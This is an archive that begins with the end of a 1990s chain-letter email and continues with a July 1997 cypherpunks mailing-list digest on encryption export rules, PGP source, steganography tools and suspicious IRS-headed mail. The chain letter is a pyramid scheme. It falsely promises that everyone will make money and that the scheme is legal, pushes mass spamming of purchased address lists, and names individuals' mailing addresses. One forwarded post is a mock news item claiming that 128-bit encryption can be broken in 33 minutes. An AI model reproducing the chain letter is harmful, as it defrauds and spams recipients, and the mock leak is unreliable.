moving down into the ranks of the poor.  As the saying goes, 
"THE RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow you to "move
up" or "get rich", inflation will see to that.

You have just received information that can give you financial 
freedom for the rest of your life, with "NO RISK" and "JUST A
LITTLE BIT OF EFFORT."  You can make more money in the next
few months than you have ever imagined.  

I should also point out that I will not see a penny of this money, 
nor anyone else who has provided a testimonial for this program.  I 
have already made over 4 MILLION DOLLARS!  I have retired from
the program after sending out over 16,000 programs.  Now I have 
several offices that make this and several other programs here and 
over seas.  By the spring we wish to market the "internet" by a 
partnership with AMERICA ON LINE.  

Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.  It works exceedingly well as it is now.  Remember to 
e-mail a copy of this exciting report to everyone you can think of.  
One of the people you send this to may send out 50,000...and your 
name will be on everyone of them!  Remember though, the more you
send out the more potential customers you will reach.  

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU 
NOW!



"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a little time to read it and REALLY THINK ABOUT IT.  Get a 
pencil and figure out what could happen when YOU participate. 
Figure out the worst possible response and no matter how you 
calculate it, you will still make a lot of money!  You will 
definitely get back what you invested.  Any doubts you have will 
vanish when your first orders come in.  IT WORKS!                    
                                     Paul Johnson, Raleigh, NC



HERE'S HOW THIS AMAZING PROGRAM WILL MAKE
YOU $$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll assume you and all those involved send out only 2,000 
programs each.  Let's also assume that the mailing receives a 0.5% 
response.  Using a good list the response could be much better.
Also many people will send out hundreds of thousands of programs 
instead of 2,000.  But continuing with this example, you send out 
only 2,000 programs.  With a 0.5% response, that is only 10 orders 
for REPORT #1.  Those 10 people respond by sending out 2,000 
programs each for a total of 20,000.  Out of those 0.5%, 100 people 
respond and order REPORT #2.  Those 100 mail out 2,000 programs 
each for a total of 200,000.  The 0.5% response to that is 1,000 
orders for REPORT #3.  Those 1,000 send out 2,000 programs each
for a 2,000,000 total.  The 0.5% response to that is 10,000 orders 
for REPORT #4.  That's 10,000 $5 bills for you.  CASH!!! Your
total income in this example is $50 + $500 + $5,000 + $50,000 for
a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 
2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY 
NOTHING AND TRASH THIS PROGRAM!  DARE TO THINK 
FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, 
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000.
Believe me, many people will do just that, and more!  By the way, 
your cost to participate in this is practically nothing.  You 
obviously already have an internet connection and e-mail is FREE!!!
REPORT #3 will show you the best methods for bulk e-mailing and 
obtaining e-mail lists. 



INSTRUCTIONS:
We at Erris Mail Order Marketing Businesses, have a method of 
raising capital that REALLY WORKS 100% EVERYTIME.  I am 
sure that you could use $50,000 to $125,000 in the next 20-90 days. 
Before you say "BULL... ", please read this program carefully.  

This is not a chain letter, but a perfectly legal money making 
opportunity.  Basically, this is what you do:  As with all 
multi-level business, we build our business by recruiting new 
partners and selling our products.  Every state in the USA allows
you to recruit new multi-level business partners, and we offer a 
product for EVERY dollar sent.  YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved 
in personal selling.  You do it privately in your own home, store 
or office.  This is the GREATEST Multi-Level Mail Order 
Marketing anywhere: 

Step (1)  Order all four (4) REPORTS listed by NAME AND
NUMBER.  Do this by ordering the REPORT from each of the
four (4) names listed on the next page.  For each REPORT, send 
$5 CASH and a SELF-ADDRESSED STAMPED envelope 
(BUSINESS SIZE #10) to the person listed for the SPECIFIC 
REPORT.  International orders should also include $1 extra for 
postage.  It is essential that you specify the NAME and NUMBER 
of the REPORT requested to the person you are ordering it from.  
You will need ALL FOUR (4) REPORTS because you will be 
REPRINTING and RESELLING them.  DO NOT alter the names
or sequence other than what the instructions say. 

IMPORTANT: Always provide same-day service on all orders.  

Step (2)  Replace the name and address under REPORT #1 with
your's, moving the one that was there down to REPORT #2.  Drop 
the name and address under REPORT #2 TO REPORT #3,  moving 
the one that was there to REPORT #4.  The name and the address 
that was under REPORT #4 is dropped from the list and this party 
is no doubt on the  way to the bank.  When doing this, make certain
you type the names and addresses ACCURATELY!!!  DO NOT 
MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the requested changes in the NAME list, save
it as text (.txt) file in it's own directory to be used with whatever 
e-mail program you like.  Again, REPORT #3 will tell you the best 
methods of bulk e-mailing and acquiring e-mail lists.  

Step (4)  E-mail a copy of the entire program (all of this is very 
important) to everyone whose address you can get your hands on.  
Start with friends and relatives since you can encourage them to take
advantage of this fabulous money-making opportunity.  That's what I 
did.  And they love me now, more than ever.  Then, e-mail to anyone 
and everyone!  Use your imagination!  You can get e-mail addresses 
from companies on the internet who specialize in e-mail mailing 
lists.  These are very cheap, 100,000 addresses for around $35.  

IMPORTANT:  You won't get a good response if you use an old
list, so always request a FRESH, NEW list.  You will find out where
to purchase these lists when you order the four (4) REPORTS.  

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!



REQUIRED REPORTS:
***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE 
SPECIFIC REPORT BY NAME AND NUMBER.

____________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
T.T.
226 Commissary Rd. Box 3453
Abilene, Tx  79607
____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:  

GC Internet Services
4343 Chandler
San Antonio, TX 78222-4812
____________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Somruthai Hayashi	
2168 S. Atlantic Blvd. #101
Monterey Park, CA 91754
____________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Kal Inc.
P.O. Box 2433
Glenview, IL. 60025-2433
_____________________________________________________


CONCLUSION:
I am enjoying my fortune that I made by sending out this program.  
You too, will be making money in 20-90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial 
decisions as never before.  Go into business, get into investments, 
retire or take a vacation.  No longer will a lack of money hold you 
back.

However, very few people reach financial independence, because
when opportunity knocks, they choose to ignore it.  It is much 
easier to say "NO" than "YES", and this the question that you must 
answer.  Will YOU ignore this amazing opportunity or will you 
take advantage of it?  If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, 
this is a special opportunity.  If you have any questions, please 
feel free to write to the sender of this information.  You will get a 
prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 
that cost me pennies to produce and e-mail.  I should also point out 
that this program is LEGAL and everyone who participates WILL
make money.  This is not a chain letter or a pyramid scam.  At times 
you probably received chain letters, asking you to send money, on 
faith, but getting NOTHING in return, NO product what-so-ever!  
Not only are chain lettters illegal, but the risk of someone breaking 
the chain  makes them quite unattractive.

You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them.  
It's simple free enterprise.  As you learned from the enclosed 
material, the PRODUCT is a series of four (4) FINANCIAL AND
BUSINESS REPORTS.  The information contained in these
REPORTS will not only help you in making your participation in 
this program more rewarding, but will be useful to you in any other 
business decisions you make in the years ahead.  You are also 
buying the rights to reprint all of the REPORTS, which will be 
ordered from you by those to whom you mail this program.  The 
concise one and two page REPORTS you will be buying can easily 
be reproduced at a local copy center for a cost of about 3 cents a
copy.  Best wishes with the program and Good Luck!










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hayden-0797-EMP-HSE <rhayden@orion.means.net>
Date: Sun, 20 Jul 1997 12:19:10 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: NSA leak (fwd)
Message-ID: <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>
MIME-Version: 1.0
Content-Type: text/plain



Say this on the Fight Censorship list.  Just FYI.

---------- Forwarded message ----------
Date: 19 Jul 1997 17:56:51 -0000
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
To: fight-censorship@vorlon.mit.edu
Subject: NSA leak

WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
senior official at the super-secret National Security Agency was overheard
at a White House press conference concerning current bans on the export of
encryption technology saying, "It would not take any twelve times the age of
the universe to decrypt a 128-bit message.  Thirty-three minutes is more
like it."

Observers at the press conference indicated that the senior official's
remarks were intended to be overheard by those standing nearby, who included
White House officials, reporters, and a troupe of girl scouts from Lundane,
Illinois.







 
=-=-=-=-=-=
Robert Hayden					rhayden@means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Blanc" <blancw@cnw.com>
Date: Sun, 20 Jul 1997 14:29:42 +0800
To: <cypherpunks@toad.com>
Subject: Re: (Fwd) Something of Interest
Message-ID: <199707200622.XAA18842@baker.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



From: jf_avon

|I received this out of the blues.  I suppose that you received it
|too.
...........................................................


 I didn't receive it, and I set off quite a round of discussion with Jim & the
list, at one point.   Guess I'm not considered controversial enough to get it.
:>)

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Sun, 20 Jul 1997 11:39:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP 5.0 source available (but not online yet) 2nd Edition
In-Reply-To: <199707161413.HAA14531@cypherpunks.ca>
Message-ID: <97Jul19.233439edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



For those with the source, (mine says july 9, 1997 and isbn 09649654-8-8
so it may be a variant - it also says second edition) check out page 1342
around the words "Key Recovery" near the top of the page in the pgpMakeSig
routine.  I know, it is only for future corporate key recovery ;).

Also, having 16 bytes for salt and iv fields which are supposed to be
"random" can hide a large amount of other data. 

On Wed, 16 Jul 1997, Ian Goldberg wrote:

> I received a copy of the latest source (12 volumes) from a PGP, Inc. rep
> at the July Bay Area Cypherpunks Open Meeting on US Soil (12 July on Stanford
> campus).
> 
> You can order your own copies through Printers, Inc.:
> 
>   Printers, Inc.
>   301 Castro St.
>   Mountain View, CA. 94041
>   (415) 961-8500
>   <http://www.pibooks.com>
> 
>   PGP 5.0 Platform Independent Source Code
>    Five Volumes, $94.00   ISBN 099649654-5-3
> 
>   PGP 5.0 Win95 Source Code
>    Three Volumes, $57.00  ISBN 099649654-6-1
> 
>   PGP 5.0 Mac Source Code
>    Four Volumes, $82.00   ISBN 099649654-7-X
> 
>    - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sun, 20 Jul 1997 07:53:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <5qrjmb$nma@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In article <33D04A75.31E08282@netscape.com>,
Tom Weinstein <tomw@netscape.com> wrote:
>amp@pobox.com wrote:
>> 
>>> There's nothing preventing another CA from getting permission from
>>> the USG to issue these magic certs.  We would have to distribute a
>>> patch, but I don't see any problem with that.
>> 
>> uh, why does one need permission of the usg to issue "magic certs"?
>
>Because issuing these certs is defined as a "defense service".

It is in no way a defense service for Ian's Certificate Authority to issue
a digital certificate to Steve's Offshore Laundry, Inc. that basically
says "I think communications to the holder of this cert should use 128-bit
encryption.", even if it uses the same V3 extension that Verisign uses.

Now, if some company were to sell a browser overseas that enabled 128-bit
encryption when it saw _any_ cert with this extension (or even any such
cert from a CA in the user's trusted CAs list), I'd say it's the browser
company that's supplying the encryption, not the CA; the CA just issued
a signed statement of fact/opinion.

It would seem to me, though, that the only reason Netscape was able to
release a browser with the "128-bit-if-Verisign-magic" mode overseas
was that the USG had gotten Verisign to agree that it wouldn't issue
Verisign-magic certs to "alledged terrorists", etc.  If Verisign renegs
on the agreement, and issues the Verisign-magic certs to left-handed
albino money-laundering aliens, they'd be in violation of whatever
they signed with the USG, but certainly not in violation of the crypto
export regs (which, now that they're under Commerce, I'm not sure even have
a "defense service" category anymore).

So in answer to the original question (IMHO), you don't need the permission
of the USG to issue "magic" certs (ones with the V3 extension).  It's just
that browser companies won't be allowed to make browsers that turn on
strong encryption for _your_ "magic" certs unless the USG trusts you
not to give such certs to just anybody.

Contrasting this situation with Microsoft signing CAPI modules is left
as an exercise for the reader.

   - Ian "I believe that the bearer of this signed message should be entitled
          to use as strong crypto as he likes."

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM9FR/kZRiTErSPb1AQG0ogP9HC1bMyak7D1PEgRHVHPYU+a5BzTpyf/W
4aYINON+eKxw0PbDM6Q6FjnP8r1dXSBPH1T8v+2RbTqQ0A4bGVEZWGlcJv5jzuRG
pJb/PuZQwNgecp2sx/sniyfHJdhE6H4omiaDa2URO00Mr9s7iotFleC5LdgGg+XV
n9EeJJDxLtY=
=mp59
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Sun, 20 Jul 1997 12:59:52 +0800
To: Mismatched NFS IDs <cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <v03110705aff564f7cc98@[139.167.130.247]>
Message-ID: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:10 PM 7/19/97 -0400, you wrote:
>On Fri, 18 Jul 1997, Robert Hettinga wrote:
>
>> At 1:33 pm -0400 on 7/18/97, Tim May wrote:
>> 
>> <an excellent description of the industrial strength software bloat which
>> now afflicts the browser market>
>> 
>> "The Geodesic Network, OpendDoc, and CyberDog"
>> http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
>> <ducking> geodesic </d> software. It ended up in a much(!) shorter form as
>> a full-page opinion piece in InfoWorld two years ago this October.
>> Actually, it's about what happened to me at MacWorld almost exactly two
>> years ago.
>...
>> The software those computers use will not be hard-wired, it will be
>> flexible and upgradable. It will be 'out of control'. It will be geodesic,
>> like the network itself.
>> 
>> Cheers,
>> Bob Hettinga
>
>I think that depends on what people start adopting.  If you want
>"geodesic" software, use Linux.  Pieces are there from every continent,
>and all any business needs to do to have a driver and applications written
>for any hardware is to release the spec.  It is flexible and upgradable
>and 'out of control', and is developed on the internet.  Interestingly
>enough, the only stego-crypto "device" I know of is the linux loop device.
>
>There are some crypto plugins for MS, but nothing I know of will bury your
>info encrypted with DES or IDEA in the lsbs of a .wav file.


take a look at  http://members.iquest.net/~mrmil/stego.html it has
steganography programs for win95,dos,mac and amiga. as well as links to
other stego pages and a paper on " covert channels in the tcp/ip suite" 

 



>
>The other interesting thing is that the bloatware is only possible BECAUSE
>of Moore's law.  Windows really needs 16Mb, a big hard drive, and a fast
>pentium, and it is nice that the price point (around $2k) of the new
>machines are about right for each release of a new MS product.  But even
>if cpu-memory power (and price per bit sent over the internet) keeps
>doubling, the complexity of code is growing exponentially too.  Or was
>growing - I think it has past the point where they can add code to the
>blob and have it work.
>
>If you are right, then there should be a shift from MS to Linux or
>FreeBSD.  Especially if the Wabi32 or Wine projects succeed :).
>
>--- reply to tzeruch - at - ceddec - dot - com ---
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 20 Jul 1997 16:44:53 +0800
To: "Blanc" <cypherpunks@toad.com>
Subject: Re: (Fwd) Something of Interest
In-Reply-To: <199707200622.XAA18842@baker.cnw.com>
Message-ID: <3.0.2.32.19970720005348.00704074@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:31 PM 7/19/97 -0700, Blanc wrote:
> I didn't receive it, and I set off quite a round of discussion with Jim &
the
>list, at one point.   Guess I'm not considered controversial enough to get
it.

That makes two of us. BTW, I am still not convinced that these emails
originated with the IRS. It just doesn't sound right.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 20 Jul 1997 14:43:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: (Fwd) Something of Interest (fwd)
Message-ID: <199707200628.BAA08519@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,


I would like to add one thing, jf_avon@ssz.com doesn't exist as a valid user
account or alias on any ssz.com system.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


Forwarded message:
> From owner-cypherpunks@ssz.com Sun Jul 20 01:15:32 1997
> Message-Id: <199707200622.XAA18842@baker.cnw.com>
> From: "Blanc" <blancw@cnw.com>
> To: <cypherpunks@toad.com>
> Subject: Re: (Fwd) Something of Interest
> Date: Sat, 19 Jul 1997 23:31:08 -0700
> MIME-Version: 1.0
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: 7bit
> X-Priority: 3
> X-MSMail-Priority: Normal
> X-Mailer: Microsoft Outlook Express 4.71.0913.4
> X-MimeOle: Produced By Microsoft MimeOLE Engine V4.71.0913.6
> Sender: owner-cypherpunks@ssz.com
> Precedence: bulk
> X-Mailing-List: cypherpunks@ssz.com
> X-List-Admin: list@ssz.com
> X-Loop: ssz.com
> From: jf_avon@ssz.com
> 
> |I received this out of the blues.  I suppose that you received it
> |too.
> ...........................................................
> 
> 
>  I didn't receive it, and I set off quite a round of discussion with Jim & the
> list, at one point.   Guess I'm not considered controversial enough to get it.
> :>)
> 
>     ..
> Blanc
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sun, 20 Jul 1997 17:54:04 +0800
To: cypherpunks@Algebra.COM
Subject: New Cypher ListServ  (part 1)
Message-ID: <199707200949.CAA13378@f78.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



I recently purchased my own domain called CyberSpaceTechnologies.com, 
and with it I recieved the ability to own and operate a ListServ of my 
own. I will continue to be a member of this one.                             
Yet in order to make sure that we may always have a place from which to 
discuss this most important of issues, I have started the 
Cryptography-Politics-PGP-L listserv. This listserv will be up in 
approximately 72 - 96 hours hopefully. Those of you with long time 
experience with listservs, and those that have run them before, I would 
be honored to hear from you on the best way to run this. I have decided 
beforehand that it would be an unmoderated list. The ONLY monitoring 
that I will do, is to glean email addresses and upstream server 
addresses from spam messages for the purpose of notifying offenders that 
such actions are not wanted or tolerated on this list. I hereby pledge 
that in no way shape or form, will I passively allow spammers or other 
entities to use email addresses from this list for ANYTHING without 
first getting permission from the email address owner. If ANYONE sees 
that happen, PLEASE notify me IMMEDIATELY! I want this list to be a 
place where open discussion of this issue may take place regardless of 
age, sex, creed, religion, experience, or lack thereof. We are a 
community of believers, believers in the right to freedom, privacy, and 
the ability to remain an idividual.  The only thing I ask, and this is a 
request not a demand, is that all list members treat new and old members 
with the level of respect and courtesy that you would expect for 
yourself, if not better. Not much to ask, I don't think.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 20 Jul 1997 15:18:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cypherpunk U
In-Reply-To: <v03102815aff6f510fe24@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970720030640.20467A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 19 Jul 1997, Tim May wrote:

> If the former, look for where the papers that interest you are coming from.
> That is, whom do you want to work with? UC Berkeley is obviously doing
> interesting work, Purude has some well known folks, and Carnegie-Mellon is
> in the home city of CERT (maybe not a recommendation...). And Stanford is
> always a hotbed. At least a dozen other places are doing fine work.

You do realize that CERT is run by the Software Engineering Institute, a
division/center/something run by Carnegie-Mellon, right?

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sun, 20 Jul 1997 11:37:24 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Bean IRS for Another $250,000
In-Reply-To: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>
Message-ID: <Pine.LNX.3.96.970720032713.20526G-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 19 Jul 1997, John Young wrote:

> There are four messsage IDs, one of which matches that of Alan Olsen
> (Number 2 below at 12:29).

I never posted my headers, because I didn't realize things were so, er,
far-sweeping.

Note multiple `forwards' are normal; the message was directed to an old
address "dsmith@prairienet.org", which forwards to corsica.shorelink.com
(my domain's UUCP host and gracious MX), which forwards to my home.

Header set 5:

- From irsnwpr@net.insp.irs.gov Sun Jul 20 03:27:01 1997
Return-Path: <corsica!net.insp.irs.gov!irsnwpr>
Received: from corsica.UUCP (dave@localhost)
	by bureau42.ml.org (8.8.6/8.8.6) with UUCP id BAA11971
	for dave; Sat, 19 Jul 1997 01:08:24 GMT
Received: from pnet1.prairienet.org ([192.17.3.31]) by corsica.shorelink.com
	 with esmtp id m0wpLsk-000yWvC
	(Debian Smail-3.2 1996-Jul-4 #2); Fri, 18 Jul 1997 15:52:14 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by pnet1.prairienet.org (8.8.5/8.8.5) with SMTP id RAA24521
	for <dsmith@prairienet.org>; Fri, 18 Jul 1997 17:51:13 -0500 (CDT)
Received: by tcs_gateway1.treas.gov id AA19664
  (InterLock SMTP Gateway 3.0 for dsmith@prairienet.org);
  Fri, 18 Jul 1997 18:47:53 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:53 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:53 -0400
Date: Thu, 17 Jul 1997 12:30:03 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171630.MAA02739@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM9GGKHEZTZHwCEpFAQF8jAf+O5fDxVqjNDGWBCVKOJdodTo6ddkMWUcn
yWgezBL1sV2UfctpWz3ApKd+lWsC877yP7vm1hwnm+B4L09/rfx90WY5DAkq+YE7
3c3XnPSkeLlVD/RCGQxvQwf/XWGyGVOVF33MV1c4lGTu/+LAjVenDXfC6Ggk3lml
x1pNMi27Je1oPazLskZLK43i5uBwKto3bdA0WVvHiNwnGk1xFyyN9tnpjoRkeiyS
hXp77C3Jlq4hB3O86eyZpvsl3JhUiCLMQwCAhLrWBSmXjsAj10hbz131Vhzj1Rdi
+uwRlAutImwVnETuwaEbLZ1GaH3s7CkXMbs1d6AXC00+UfRtZCuTcw==
=Nf3k
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sun, 20 Jul 1997 21:54:41 +0800
To: cypherpunks@cyberpass.net
Subject: New Cypher ListServ  (part 2)    **REVISED**
Message-ID: <199707201316.GAA16122@f10.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



The Cryptography-Politics-PGP-L ListServ is in operation.(We just 
finished up with the majordomo scripts and the like). Here is what you 
need to do to join.  BTW, this list is a digested list. Please do not 
freak if things do not go right straight from the get go. I hope to have 
this as painless as possible, yet we all know that Murphy wrote Murphy's 
Law just for this instance. Please bear with me. Once again, ANY 
suggestions, short of flames, will be listened to 100%!
Now for the nitty gritty.


SUBSCRIBE/UNSUBSCRIBE TO Cryptography-Politics-PGP-L
=====================================================
Subscribing
-----------
To subscribe, send the message 

     subscribe Cryptography-Politics-PGP-L

to majordomo@cyberspacetechnologies.com 


Unsubscribing
-------------
To unsubscribe, send the message 

     unsubscribe Cryptography-Politics-PGP-L

to majordomo@cyberspacetechnologies.com 


Posting
-------
Messages sent to Cryptography-Politics-PGP-L@cyberspacetechnologies.com
will be posted to the entire list.

Digests
-------
When subscribed, send message to majordomo@Cyberspacetechnologies.com 
with   get Cryptography-Politics-PGP-L-digest  as the message body.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 20 Jul 1997 20:23:30 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <97Jul19.201054edt.32257@brickwall.ceddec.com>
Message-ID: <v0311071daff7a277f62e@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:52 am -0400 on 7/20/97, sar wrote:

Just to be clear, when I talk about geodesic software, I'm not talking
about linux, as much as I like the idea of linux personally. In fact, if
the Mac ever dies, I'll probably end up on linux someday. Certainly, once
you put any machine on the internet, its software becomes more geodesic
than it was sitting on a desktop or in a rack, and, for the sake of
argument, I'm willing to agree that because of increasing availablity of
cool free net.stuff in linux, it may more geodesic than Microsoft or Apple
operating systems.

I could be wrong, but the cycle from not having what you need to do
something new, to installing it and running it, is too slow for modern
operating systems like linux to call them geodesic software in the sense
that I was using the phrase. Java the brand-name claims to do this in
"market"space, but Java as running software ain't there yet in cyberspace,
and may never be.

I'm beginning to think that until it's possible for a given processor to
autonomously buy the software it needs for cash in an auction market, and
then download and install that software, all at run time, the
superscalibility of an environment where software is dispersed through the
network (again, "surfacted" is not a bad word to describe this), and run in
the smallest possible bits at the processor level just won't happen.

Nonetheless, I do think that the linux gang is going in the right
direction, especially since most most of the cash-settlement technology we
on this list have all come to know and love is more likely to be used in
linux than anywhere else.


Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
that bloatware is a direct result of Moore's Law. Or, more properly,
Parkinson's Law of bureaucracy ("an organization will expand to fit it's
available resources") come to microprocessing.

In an absolute sense, of course, more processing power is more software
waste. My Mac wastes more cycles than I can physically count in a lifetime
waiting for my next keystroke, and, after more than half a lifetime at the
keyboard, I am a pretty fast typist.

 However, at some point, I think that the added "waste" of profit-and-loss
responsibility at the processor level, effectively a cash-settled auction
market for cycle-time, will yield much more efficiency in allocating
processor time than piling on yet another feature and compiling it in with
the rest of some vertically integrated application behemouth. Waiting for
everybody else's requested features to creep by before the application can
let us have the one we need to use will be a thing of the past when that
happens.

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 14:26:36 +0800
To: cypherpunks@toad.com
Subject: Re: Something of Interest (fwd)
Message-ID: <199707200618.IAA02780@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan wrote:
> >>>Is it just me, or does anyone else remember a similar message being pumped
> >>>out about the same time Bell was raided (April 1).

> I found the actual article.  It was forwarded to the list by someone.
> (Maybe Igor?)  The headers are interesting.  I have the full header set if
> anyone is interested...
> 
> This post did not seem to get posted to the list, but only as a forward... 

  It is my recollection that Igor filters the incoming files that use
a blind cc: to cypherpunks@(anylist).com and checks to see if they
are spam with cc:'s to a thousand email addresses or are meant for
the cypherpunks list in specific.
  If they are not just random spam, then Igor forwards them to the
list subscribers, which accounts for the headers showing the post
as a forward rather than as sent directly to the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@MIT.EDU>
Date: Sun, 20 Jul 1997 22:00:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Cypherpunk U
Message-ID: <199707201355.JAA22844@sundial.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain



I think any of the schools which have been mentioned are great for
undergrad.  After being at MIT for a while (and now being eited
by financial reasons, hopefully to be resolved before fall...), I
learned to really appreciate the research programs offered by
some universities to undergrads -- MIT has a really good program
in that area, I'm not sure about the others.  I think if there were
one thing which I used to pick an undergrad school again, it would be
the potential to get involved in faculty research.  At MIT, the
media lab does a fair amount of applied cryptology, and there is
of course the theoretical computing lab which does a lot of
application and theory.

It's not that hard to get in, either.  After all, I got in.  There are
a few useful tricks for your application -- email me if you'd like help.

One of the big annoying parts of going to MIT is that firearms are
banned from college campuses (except at ranges) in the state.  Sigh.

---
